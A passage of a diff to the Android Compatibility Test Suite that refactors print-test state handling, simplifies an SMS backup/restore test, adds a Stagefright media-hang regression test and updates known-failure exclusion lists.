-            sAnimatiorDurationScaleBefore = Float.parseFloat(SystemUtil.runShellCommand(
-                    sInstrumentation, "settings get global animator_duration_scale"));
-
-            SystemUtil.runShellCommand(sInstrumentation,
-                    "settings put global animator_duration_scale 0");
-        } catch (NumberFormatException e) {
-            Log.e(LOG_TAG, "Could not read animator_duration_scale", e);
-            sAnimatiorDurationScaleBefore = Float.NaN;
-        }
-
         Log.d(LOG_TAG, "setUpClass() done");
     }
 
@@ -241,16 +211,16 @@
     public void setUp() throws Exception {
         Log.d(LOG_TAG, "setUp()");
 
-        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        Instrumentation instrumentation = getInstrumentation();
 
-        assumeTrue(sInstrumentation.getContext().getPackageManager().hasSystemFeature(
+        assumeTrue(instrumentation.getContext().getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_PRINTING));
 
-        final PrintManager printManager = sInstrumentation.getContext()
+        final PrintManager printManager = instrumentation.getContext()
                 .getSystemService(PrintManager.class);
         final List<PrintServiceInfo> services = printManager.getPrintServices(
                 PrintManager.ALL_SERVICES);
-        final String targetPackageName = sInstrumentation.getTargetContext().getPackageName();
+        final String targetPackageName = instrumentation.getTargetContext().getPackageName();
         StringBuilder builder = new StringBuilder();
         for (PrintServiceInfo service : services) {
             final ComponentName serviceComponent = service.getComponentName();
@@ -261,7 +231,7 @@
                 builder.append(":");
             }
             builder.append(serviceComponent.flattenToString());
-            SystemUtil.runShellCommand(sInstrumentation, "settings put secure "
+            SystemUtil.runShellCommand(instrumentation, "settings put secure "
                     + Settings.Secure.DISABLED_PRINT_SERVICES + " " + builder);
         }
 
@@ -277,6 +247,9 @@
         mCreateSessionCallCounter = new CallCounter();
         mDestroySessionCallCounter = new CallCounter();
 
+        mTestId = sLastTestID.incrementAndGet();
+        sIdToTest.put(mTestId, this);
+
         // Create the activity if needed
         if (!mShouldStartActivityRule.noActivity) {
             createActivity();
@@ -289,15 +262,9 @@
     public void tearDown() throws Exception {
         Log.d(LOG_TAG, "tearDown()");
 
-        // Done with the activity.
-        if (getActivity() != null) {
-            Log.d(LOG_TAG, "finish activity");
-            if (!getActivity().isFinishing()) {
-                getActivity().finish();
-            }
+        finishActivity();
 
-            sActivity = null;
-        }
+        sIdToTest.remove(mTestId);
 
         Log.d(LOG_TAG, "tearDown() done");
     }
@@ -306,6 +273,8 @@
     public static void tearDownClass() throws Exception {
         Log.d(LOG_TAG, "tearDownClass()");
 
+        Instrumentation instrumentation = getInstrumentation();
+
         Log.d(LOG_TAG, "enableImes()");
         enableImes();
 
@@ -313,21 +282,7 @@
         Log.d(LOG_TAG, "clearPrintSpoolerData()");
         clearPrintSpoolerData();
 
-        Log.d(LOG_TAG, "enable animations");
-        if (!Float.isNaN(sWindowAnimationScaleBefore)) {
-            SystemUtil.runShellCommand(sInstrumentation,
-                    "settings put global window_animation_scale " + sWindowAnimationScaleBefore);
-        }
-        if (!Float.isNaN(sTransitionAnimationScaleBefore)) {
-            SystemUtil.runShellCommand(sInstrumentation,
-                    "settings put global transition_animation_scale " +
-                            sTransitionAnimationScaleBefore);
-        }
-        if (!Float.isNaN(sAnimatiorDurationScaleBefore)) {
-            SystemUtil.runShellCommand(sInstrumentation,
-                    "settings put global animator_duration_scale " + sAnimatiorDurationScaleBefore);
-        }
-        SystemUtil.runShellCommand(sInstrumentation, "settings put secure "
+        SystemUtil.runShellCommand(instrumentation, "settings put secure "
                     + Settings.Secure.DISABLED_PRINT_SERVICES + " null");
 
         Log.d(LOG_TAG, "tearDownClass() done");
@@ -354,7 +309,7 @@
     protected void print(@NonNull PrintDocumentAdapter adapter, @NonNull String printJobName,
             @Nullable PrintAttributes attributes) {
         // Initiate printing as if coming from the app.
-        sInstrumentation
+        getInstrumentation()
                 .runOnMainSync(() -> getPrintManager(getActivity()).print(printJobName, adapter,
                         attributes));
     }
@@ -445,16 +400,42 @@
     /**
      * Indicate the print activity was created.
      */
-    static void onActivityCreateCalled(PrintDocumentActivity activity) {
-        sActivity = activity;
-        sCreateActivityCallCounter.call();
+    static void onActivityCreateCalled(int testId, PrintDocumentActivity activity) {
+        synchronized (sIdToTest) {
+            BasePrintTest test = sIdToTest.get(testId);
+            if (test != null) {
+                test.mActivity = activity;
+                test.mCreateActivityCallCounter.call();
+            }
+        }
     }
 
     /**
      * Indicate the print activity was destroyed.
      */
-    static void onActivityDestroyCalled() {
-        sDestroyActivityCallCounter.call();
+    static void onActivityDestroyCalled(int testId) {
+        synchronized (sIdToTest) {
+            BasePrintTest test = sIdToTest.get(testId);
+            if (test != null) {
+                test.mDestroyActivityCallCounter.call();
+            }
+        }
+    }
+
+    private void finishActivity() {
+        Activity activity = mActivity;
+
+        if (activity != null) {
+            if (!activity.isFinishing()) {
+                activity.finish();
+            }
+
+            while (!activity.isDestroyed()) {
+                int creates = mCreateActivityCallCounter.getCallCount();
+                waitForCallbackCallCount(mDestroyActivityCallCounter, creates,
+                        "Activity was not destroyed");
+            }
+        }
     }
 
     /**
@@ -462,8 +443,8 @@
      *
      * @return The number of onDestroy calls on the print activity.
      */
-    static int getActivityDestroyCallbackCallCount() {
-        return sDestroyActivityCallCounter.getCallCount();
+    int getActivityDestroyCallbackCallCount() {
+        return mDestroyActivityCallCounter.getCallCount();
     }
 
     /**
@@ -471,8 +452,8 @@
      *
      * @return The number of onCreate calls on the print activity.
      */
-    private static int getActivityCreateCallbackCallCount() {
-        return sCreateActivityCallCounter.getCallCount();
+    private int getActivityCreateCallbackCallCount() {
+        return mCreateActivityCallCounter.getCallCount();
     }
 
     /**
@@ -480,8 +461,8 @@
      *
      * @param count The number of create calls to expect.
      */
-    private static void waitForActivityCreateCallbackCalled(int count) {
-        waitForCallbackCallCount(sCreateActivityCallCounter, count,
+    private void waitForActivityCreateCallbackCalled(int count) {
+        waitForCallbackCallCount(mCreateActivityCallCounter, count,
                 "Did not get expected call to create.");
     }
 
@@ -497,8 +478,8 @@
         mPrintJobQueuedCallCounter.reset();
         mCreateSessionCallCounter.reset();
         mDestroySessionCallCounter.reset();
-        sDestroyActivityCallCounter.reset();
-        sCreateActivityCallCounter.reset();
+        mDestroyActivityCallCounter.reset();
+        mCreateActivityCallCounter.reset();
     }
 
     void selectPrinter(String printerName) throws UiObjectNotFoundException, IOException {
@@ -506,8 +487,9 @@
             long delay = 1;
             while (true) {
                 try {
-                    UiObject destinationSpinner = sUiDevice.findObject(new UiSelector().resourceId(
-                            "com.android.printspooler:id/destination_spinner"));
+                    UiDevice uiDevice = getUiDevice();
+                    UiObject destinationSpinner = uiDevice.findObject(new UiSelector()
+                            .resourceId("com.android.printspooler:id/destination_spinner"));
 
                     destinationSpinner.click();
                     getUiDevice().waitForIdle();
@@ -520,8 +502,8 @@
                     }
 
                     // try to select printer
-                    UiObject printerOption = sUiDevice
-                            .findObject(new UiSelector().text(printerName));
+                    UiObject printerOption = uiDevice.findObject(
+                            new UiSelector().text(printerName));
                     printerOption.click();
                 } catch (UiObjectNotFoundException e) {
                     Log.e(LOG_TAG, "Could not select printer " + printerName, e);
@@ -556,19 +538,20 @@
     void answerPrintServicesWarning(boolean confirm) throws UiObjectNotFoundException {
         UiObject button;
         if (confirm) {
-            button = sUiDevice.findObject(new UiSelector().resourceId("android:id/button1"));
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button1"));
         } else {
-            button = sUiDevice.findObject(new UiSelector().resourceId("android:id/button2"));
+            button = getUiDevice().findObject(new UiSelector().resourceId("android:id/button2"));
         }
         button.click();
     }
 
     void changeOrientation(String orientation) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject orientationSpinner = sUiDevice.findObject(new UiSelector().resourceId(
+            UiDevice uiDevice = getUiDevice();
+            UiObject orientationSpinner = uiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/orientation_spinner"));
             orientationSpinner.click();
-            UiObject orientationOption = sUiDevice.findObject(new UiSelector().text(orientation));
+            UiObject orientationOption = uiDevice.findObject(new UiSelector().text(orientation));
             orientationOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -578,7 +561,7 @@
 
     protected String getOrientation() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject orientationSpinner = sUiDevice.findObject(new UiSelector().resourceId(
+            UiObject orientationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/orientation_spinner"));
             return orientationSpinner.getText();
         } catch (UiObjectNotFoundException e) {
@@ -589,10 +572,11 @@
 
     void changeMediaSize(String mediaSize) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject mediaSizeSpinner = sUiDevice.findObject(new UiSelector().resourceId(
+            UiDevice uiDevice = getUiDevice();
+            UiObject mediaSizeSpinner = uiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/paper_size_spinner"));
             mediaSizeSpinner.click();
-            UiObject mediaSizeOption = sUiDevice.findObject(new UiSelector().text(mediaSize));
+            UiObject mediaSizeOption = uiDevice.findObject(new UiSelector().text(mediaSize));
             mediaSizeOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -602,10 +586,11 @@
 
     void changeColor(String color) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject colorSpinner = sUiDevice.findObject(new UiSelector().resourceId(
+            UiDevice uiDevice = getUiDevice();
+            UiObject colorSpinner = uiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/color_spinner"));
             colorSpinner.click();
-            UiObject colorOption = sUiDevice.findObject(new UiSelector().text(color));
+            UiObject colorOption = uiDevice.findObject(new UiSelector().text(color));
             colorOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -615,7 +600,7 @@
 
     protected String getColor() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject colorSpinner = sUiDevice.findObject(new UiSelector().resourceId(
+            UiObject colorSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/color_spinner"));
             return colorSpinner.getText();
         } catch (UiObjectNotFoundException e) {
@@ -626,10 +611,11 @@
 
     void changeDuplex(String duplex) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject duplexSpinner = sUiDevice.findObject(new UiSelector().resourceId(
+            UiDevice uiDevice = getUiDevice();
+            UiObject duplexSpinner = uiDevice.findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/duplex_spinner"));
             duplexSpinner.click();
-            UiObject duplexOption = sUiDevice.findObject(new UiSelector().text(duplex));
+            UiObject duplexOption = uiDevice.findObject(new UiSelector().text(duplex));
             duplexOption.click();
         } catch (UiObjectNotFoundException e) {
             dumpWindowHierarchy();
@@ -639,7 +625,7 @@
 
     void changeCopies(int newCopies) throws UiObjectNotFoundException, IOException {
         try {
-            UiObject copies = sUiDevice.findObject(new UiSelector().resourceId(
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/copies_edittext"));
             copies.setText(Integer.valueOf(newCopies).toString());
         } catch (UiObjectNotFoundException e) {
@@ -650,7 +636,7 @@
 
     protected String getCopies() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject copies = sUiDevice.findObject(new UiSelector().resourceId(
+            UiObject copies = getUiDevice().findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/copies_edittext"));
             return copies.getText();
         } catch (UiObjectNotFoundException e) {
@@ -660,12 +646,12 @@
     }
 
     void assertNoPrintButton() throws UiObjectNotFoundException, IOException {
-        assertFalse(sUiDevice.hasObject(By.res("com.android.printspooler:id/print_button")));
+        assertFalse(getUiDevice().hasObject(By.res("com.android.printspooler:id/print_button")));
     }
 
     void clickPrintButton() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject printButton = sUiDevice.findObject(new UiSelector().resourceId(
+            UiObject printButton = getUiDevice().findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/print_button"));
             printButton.click();
         } catch (UiObjectNotFoundException e) {
@@ -676,7 +662,7 @@
 
     void clickRetryButton() throws UiObjectNotFoundException, IOException {
         try {
-            UiObject retryButton = sUiDevice.findObject(new UiSelector().resourceId(
+            UiObject retryButton = getUiDevice().findObject(new UiSelector().resourceId(
                     "com.android.printspooler:id/action_button"));
             retryButton.click();
         } catch (UiObjectNotFoundException e) {
@@ -687,7 +673,7 @@
 
     void dumpWindowHierarchy() throws IOException {
         ByteArrayOutputStream os = new ByteArrayOutputStream();
-        sUiDevice.dumpWindowHierarchy(os);
+        getUiDevice().dumpWindowHierarchy(os);
 
         Log.w(LOG_TAG, "Window hierarchy:");
         for (String line : os.toString("UTF-8").split("\n")) {
@@ -696,7 +682,7 @@
     }
 
     protected PrintDocumentActivity getActivity() {
-        return sActivity;
+        return mActivity;
     }
 
     protected void createActivity() {
@@ -705,29 +691,32 @@
         int createBefore = getActivityCreateCallbackCallCount();
 
         Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.setClassName(sInstrumentation.getTargetContext().getPackageName(),
+        intent.putExtra(TEST_ID, mTestId);
+
+        Instrumentation instrumentation = getInstrumentation();
+        intent.setClassName(instrumentation.getTargetContext().getPackageName(),
                 PrintDocumentActivity.class.getName());
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        sInstrumentation.startActivitySync(intent);
+        instrumentation.startActivitySync(intent);
 
         waitForActivityCreateCallbackCalled(createBefore + 1);
     }
 
     void openPrintOptions() throws UiObjectNotFoundException {
-        UiObject expandHandle = sUiDevice.findObject(new UiSelector().resourceId(
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/expand_collapse_handle"));
         expandHandle.click();
     }
 
     void openCustomPrintOptions() throws UiObjectNotFoundException {
-        UiObject expandHandle = sUiDevice.findObject(new UiSelector().resourceId(
+        UiObject expandHandle = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/more_options_button"));
         expandHandle.click();
     }
 
     static void clearPrintSpoolerData() throws Exception {
         assertTrue("failed to clear print spooler data",
-                SystemUtil.runShellCommand(sInstrumentation, String.format(
+                SystemUtil.runShellCommand(getInstrumentation(), String.format(
                         "pm clear --user %d %s", CURRENT_USER_ID, PRINT_SPOOLER_PACKAGE_NAME))
                         .contains(PM_CLEAR_SUCCESS_OUTPUT));
     }
diff --git a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java b/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
index 56276e8..c3e6e96 100644
--- a/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
+++ b/tests/tests/print/src/android/print/cts/PrintDocumentActivity.java
@@ -17,30 +17,37 @@
 package android.print.cts;
 
 import android.app.Activity;
+import android.app.KeyguardManager;
 import android.os.Bundle;
 import android.util.Log;
 import android.view.WindowManager;
 
 public class PrintDocumentActivity extends Activity {
     private static final String LOG_TAG = "PrintDocumentActivity";
+    int mTestId;
 
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
-        Log.d(LOG_TAG, "onCreate() " + this);
+        mTestId = getIntent().getIntExtra(BasePrintTest.TEST_ID, -1);
+        Log.d(LOG_TAG, "onCreate() " + this + " for " + mTestId);
 
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON
-                | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
+                | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
 
-        BasePrintTest.onActivityCreateCalled(this);
+        KeyguardManager km = getSystemService(KeyguardManager.class);
+        if (km != null) {
+            km.requestDismissKeyguard(this, null);
+        }
+
+        BasePrintTest.onActivityCreateCalled(mTestId, this);
     }
 
     @Override
     protected void onDestroy() {
         Log.d(LOG_TAG, "onDestroy() " + this);
-        BasePrintTest.onActivityDestroyCalled();
+        BasePrintTest.onActivityDestroyCalled(mTestId);
         super.onDestroy();
     }
 }
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index f0674a2..3bef78e 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -16,6 +16,11 @@
 
 package android.print.cts;
 
+import static android.print.cts.Utils.eventually;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.Margins;
 import android.print.PrintAttributes.MediaSize;
@@ -32,6 +37,7 @@
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.util.Log;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -40,9 +46,6 @@
 import java.util.ArrayList;
 import java.util.Collection;
 
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.*;
-
 /**
  * Tests all possible states of print jobs.
  */
@@ -363,6 +366,10 @@
 
         // Start printing.
         print(adapter);
+
+        // Wait until adapter is done
+        waitForWriteAdapterCallback(1);
+
         clickPrintButton();
 
         // Wait for print job to be queued
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 415ace8..9c5c6ab 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -36,6 +36,7 @@
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
 import android.text.TextUtils;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -343,5 +344,13 @@
         UiObject destinationSpinner = getUiDevice().findObject(new UiSelector().resourceId(
                 "com.android.printspooler:id/destination_spinner"));
         destinationSpinner.click();
+
+        // Wait until spinner is opened
+        getUiDevice().waitForIdle();
+
+        // Exit print spooler
+        getUiDevice().pressBack();
+        getUiDevice().pressBack();
+        getUiDevice().pressBack();
     }
 }
diff --git a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
index fad1019..891a1ba 100644
--- a/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SmsBackupRestoreTest.java
@@ -128,10 +128,8 @@
     }
 
     /**
-     * Test adds 2 SMS messages, 1 text-only MMS messages and 1 non-text-only, runs backup,
-     * deletes the messages from the provider, runs restore, check if the messages are in the
-     * provider (w/o non-text-only one).
-     * @throws Exception
+     * Test adds 1 text-only MMS message, runs backup, deletes the message from the provider,
+     * runs restore, checks if the message is in the provider.
      */
     public void testSmsBackupRestore() throws Exception {
         if (!mHasFeature) {
@@ -139,16 +137,12 @@
             return;
         }
 
-        ContentValues smsContentValues[] = new ContentValues[] {
-                createSmsValues(smsAddressBody1),
-                createSmsValues(smsAddressBody2)};
-        Log.i(TAG, "Put 2 SMS into the provider");
+        ContentValues smsContentValues[] = new ContentValues[] {createSmsValues(smsAddressBody1)};
+        Log.i(TAG, "Put 1 SMS into the provider");
         mContentResolver.bulkInsert(Telephony.Sms.CONTENT_URI, smsContentValues);
 
-        Log.i(TAG, "Put 1 text MMS into the provider");
+        Log.i(TAG, "Put 1 text-only MMS into the provider");
         addMms(true /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
-        Log.i(TAG, "Put 1 non-text MMS into the provider");
-        addMms(false /*isTextOnly*/, mmsBody, mmsSubject, mmsAddresses);
 
         Log.i(TAG, "Run backup");
         ProviderTestUtils.runBackup(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
@@ -157,11 +151,9 @@
         Log.i(TAG, "Run restore");
         ProviderTestUtils.runRestore(TELEPHONY_PROVIDER_PACKAGE, mUiAutomation);
 
-        Log.i(TAG, "Check the providers for the messages");
+        Log.i(TAG, "Check the providers for the message");
         assertEquals(1,
                 mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody1));
-        assertEquals(1,
-                mContentResolver.delete(Telephony.Sms.CONTENT_URI, SMS_SELECTION, smsAddressBody2));
 
         try (Cursor mmsCursor = mContentResolver.query(Telephony.Mms.CONTENT_URI, ID_PROJECTION,
                 MMS_SELECTION, new String[] {mmsSubject}, null)) {
@@ -257,4 +249,5 @@
         ProviderTestUtils.wipeBackup(LOCAL_BACKUP_COMPONENT, TELEPHONY_PROVIDER_PACKAGE,
                 mUiAutomation);
     }
-}
\ No newline at end of file
+}
+
diff --git a/tests/tests/security/res/raw/bug_62673844.mp4 b/tests/tests/security/res/raw/bug_62673844.mp4
new file mode 100644
index 0000000..8b03b94
--- /dev/null
+++ b/tests/tests/security/res/raw/bug_62673844.mp4
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index f70c03d..8c7fe43 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -74,6 +74,11 @@
      ***********************************************************/
 
     @SecurityTest
+    public void testStagefrightANR_bug_62673844() throws Exception {
+        doStagefrightTestANR(R.raw.bug_62673844);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_37079296() throws Exception {
         doStagefrightTest(R.raw.bug_37079296);
     }
@@ -365,6 +370,10 @@
         server.shutdown();
     }
 
+    private void doStagefrightTestANR(final int rid) throws Exception {
+        doStagefrightTestMediaPlayerANR(rid, null);
+    }
+
     private Surface getDummySurface() {
         int[] textures = new int[1];
         GLES20.glGenTextures(1, textures, 0);
@@ -418,6 +427,7 @@
         public void onCompletion(MediaPlayer mp) {
             // preserve error condition, if any
             lock.lock();
+            completed = true;
             condition.signal();
             lock.unlock();
         }
@@ -437,9 +447,19 @@
             return what;
         }
 
+        public boolean waitForErrorOrCompletion() throws InterruptedException {
+            lock.lock();
+            if (condition.awaitNanos(TIMEOUT_NS) <= 0) {
+                Log.d(TAG, "timed out on waiting for error or completion");
+            }
+            lock.unlock();
+            return (what != 0 && what != MediaPlayer.MEDIA_ERROR_SERVER_DIED) || completed;
+        }
+
         ReentrantLock lock = new ReentrantLock();
         Condition condition = lock.newCondition();
         int what;
+        boolean completed = false;
     }
 
     class LooperThread extends Thread {
@@ -772,4 +792,50 @@
         thr.stopLooper();
         thr.join();
     }
+
+    private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+        String name = uri != null ? uri :
+            getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+        Log.i(TAG, "start mediaplayerANR test for: " + name);
+
+        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpl);
+                mp.setOnPreparedListener(mpl);
+                mp.setOnCompletionListener(mpl);
+                Surface surface = getDummySurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    if (uri == null) {
+                        fd = getInstrumentation().getContext().getResources()
+                                .openRawResourceFd(rid);
+
+                        mp.setDataSource(fd.getFileDescriptor(),
+                                fd.getStartOffset(),
+                                fd.getLength());
+                    } else {
+                        mp.setDataSource(uri);
+                    }
+                    mp.prepareAsync();
+                } catch (Exception e) {
+                } finally {
+                    closeQuietly(fd);
+                }
+
+                Looper.loop();
+                mp.release();
+            }
+        });
+
+        t.start();
+        String cve = name.replace("_", "-").toUpperCase();
+        assertTrue("Device *IS* vulnerable to " + cve, mpl.waitForErrorOrCompletion());
+        t.stopLooper();
+        t.join(); // wait for thread to exit so we're sure the player was released
+    }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/TouchTest.java b/tests/tests/text/src/android/text/method/cts/TouchTest.java
index 8bd4fda..140dfa02 100644
--- a/tests/tests/text/src/android/text/method/cts/TouchTest.java
+++ b/tests/tests/text/src/android/text/method/cts/TouchTest.java
@@ -34,6 +34,7 @@
 import android.util.DisplayMetrics;
 import android.util.TypedValue;
 import android.view.MotionEvent;
+import android.view.ViewGroup;
 import android.widget.TextView;
 
 import org.junit.Before;
@@ -73,7 +74,11 @@
     @Test
     public void testScrollTo() throws Throwable {
         mActivityRule.runOnUiThread(() -> {
-            mActivity.setContentView(mTextView);
+            final float pixelPerSp =
+                mActivity.getResources().getDisplayMetrics().scaledDensity;
+            // Explicitly set the width so that |LONG_TEXT| causes horizontal scroll.
+            mActivity.setContentView(mTextView, new ViewGroup.LayoutParams(
+                (int)(100 * pixelPerSp), ViewGroup.LayoutParams.MATCH_PARENT));
             mTextView.setSingleLine(true);
             mTextView.setLines(2);
         });
diff --git a/tools/cts-tradefed/Android.mk b/tools/cts-tradefed/Android.mk
index 179cd0a..a539e5b 100644
--- a/tools/cts-tradefed/Android.mk
+++ b/tools/cts-tradefed/Android.mk
@@ -28,6 +28,7 @@
 LOCAL_SUITE_VERSION := 8.0_r1
 
 LOCAL_MODULE := cts-tradefed
+LOCAL_COMPATIBILITY_SUITE := general-tests
 include cts/error_prone_rules.mk
 include $(BUILD_COMPATIBILITY_SUITE)
 
diff --git a/tools/cts-tradefed/res/config/cts-known-failures.xml b/tools/cts-tradefed/res/config/cts-known-failures.xml
index b07d187..2774890 100644
--- a/tools/cts-tradefed/res/config/cts-known-failures.xml
+++ b/tools/cts-tradefed/res/config/cts-known-failures.xml
@@ -165,6 +165,9 @@
     <!-- b/31803630 -->
     <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.ListeningPortsTest" />
 
+    <!-- b/63115400 -->
+    <option name="compatibility:exclude-filter" value="CtsSecurityTestCases android.security.cts.SELinuxHostTest#testAospFileContexts" />
+
     <!-- b/36686383 -->
     <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.ErrorsTest#testANR" />
 
@@ -222,4 +225,12 @@
     <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineLtr" />
     <option name="compatibility:exclude-filter" value="CtsWidgetTestCases android.widget.cts.TextViewTest#testGetOffsetForPositionMultiLineRtl" />
 
+    <!-- b/62976713 -->
+    <option name="compatibility:exclude-filter" value="arm64-v8a CtsMediaBitstreamsTestCases" />
+    <option name="compatibility:exclude-filter" value="x86_64 CtsMediaBitstreamsTestCases" />
+    <option name="compatibility:exclude-filter" value="mips64 CtsMediaBitstreamsTestCases" />
+
+    <!-- b/38280830 -->
+    <option name="compatibility:exclude-filter" value="CtsMediaTestCases android.media.cts.VideoDecoderPerfTest#testVp8Goog0Perf1280x0720" />
+
 </configuration>
diff --git a/tools/cts-tradefed/res/config/cts-reference-aosp.xml b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
index 1e8df1c..ed74a4c 100644
--- a/tools/cts-tradefed/res/config/cts-reference-aosp.xml
+++ b/tools/cts-tradefed/res/config/cts-reference-aosp.xml
@@ -33,4 +33,60 @@
     <option name="compatibility:exclude-filter" value="CtsTelephony2TestCases" />
     <option name="compatibility:exclude-filter" value="CtsIncidentHostTestCases com.android.server.cts.PackageIncidentTest#testPackageServiceDump" />
     <option name="compatibility:exclude-filter" value="CtsAppTestCases android.app.cts.SystemFeaturesTest#testLocationFeatures" />
+
+    <!-- Exclude telephony related testcases -->
+    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testGetIccAuthentication" />
+    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testHasCarrierPrivileges" />
+    <option name="compatibility:exclude-filter" value="CtsCarrierApiTestCases android.carrierapi.cts.CarrierApiTest#testSendDialerSpecialCode" />
+    <option name="compatibility:exclude-filter" value="CtsJobSchedulerTestCases android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_metered" />
+    <option name="compatibility:exclude-filter" value="CtsNetTestCasesLegacyApi22 android.net.cts.legacy.api22.ConnectivityManagerLegacyTest#testStartUsingNetworkFeature_enableHipri" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testAppSpecificSmsToken" />
+    <option name="compatibility:exclude-filter" value="CtsPermission2TestCases android.permission2.cts.NoReceiveSmsPermissionTest#testReceiveTextMessage" />
+    <option name="compatibility:exclude-filter" value="CtsPermissionTestCases android.permission.cts.NoSystemFunctionPermissionTest#testSendSms" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTest android.security.cts.SELinuxHostTest#testNoExemptionsForBinderInVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTest android.security.cts.SELinuxHostTest#testNoExemptionsForSocketsBetweenCoreAndVendorBan" />
+    <option name="compatibility:exclude-filter" value="CtsSecurityHostTest android.security.cts.SELinuxHostTest#testNoExemptionsForVendorExecutingCore" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testAppSummary" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testCallback" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testDeviceSummary" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testTagDetails" />
+    <option name="compatibility:exclude-filter" value="CtsUsageStatsTestCases android.app.usage.cts.NetworkUsageStatsTest#testUidDetails" />
